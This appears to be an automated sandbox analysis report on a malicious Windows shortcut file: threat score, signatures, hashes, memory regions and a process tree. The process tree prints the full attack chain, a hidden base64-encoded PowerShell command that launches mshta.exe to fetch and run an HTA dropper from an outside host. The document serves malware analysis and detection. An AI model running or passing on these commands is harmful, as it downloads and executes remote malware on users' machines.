Analysis

  • max time kernel
    298s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/05/2026, 15:08

General

  • Target
    Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
  • Size 2KB
  • Sample260504-sh684aev2y
  • SHA256 672276ff3a86783dcd56a706dd931ebcd0023e63f5cdb8fe0f865335a5b9d74e
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5700
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QU51VVlyWE16V2NscXRTVGFLZ1Z8QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGUgImh0dHBzOi8vMjQzLjE4MC42Mi41MC5ob3N0LnNlY3VyZXNlcnZlci5uZXQvOGI4ZWZlNTctNGNhMy00ZmQ5LThiYWEtMTM1MWNkZjZiNDFjLzRkMmMxZjAwLTM2YjMtNDJmOS05Yzk2LWQ1ZTZmZWUyNTdjZiI=')); $a = $b -split '\|',2 | Select-Object -Last 1; $sb = [ScriptBlock]::Create($a); & $sb"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5176
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf
        3⤵
        • Badlisted process makes network request
        PID:2940

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_mqxosaw4.4ip.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mqxosaw4.4ip.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2940-36-0x0000029A7D4C0000-0x0000029A7D4CC000-memory.dmp

        memory/2940-35-0x0000029A7C740000-0x0000029A7C86A000-memory.dmp

        memory/2940-59-0x0000029A7C740000-0x0000029A7C86A000-memory.dmp

        memory/5176-3-0x000001F53F640000-0x000001F53F650000-memory.dmp

        memory/5176-2-0x000001F53F640000-0x000001F53F650000-memory.dmp

        memory/5176-9-0x000001F5576D0000-0x000001F5576F2000-memory.dmp

        memory/5176-15-0x000001F53E7D0000-0x000001F53E7DC000-memory.dmp

        memory/5176-14-0x000001F53EB50000-0x000001F53F28F000-memory.dmp

        memory/5700-17-0x000001A129900000-0x000001A12990C000-memory.dmp

        memory/5700-16-0x000001A129560000-0x000001A12968A000-memory.dmp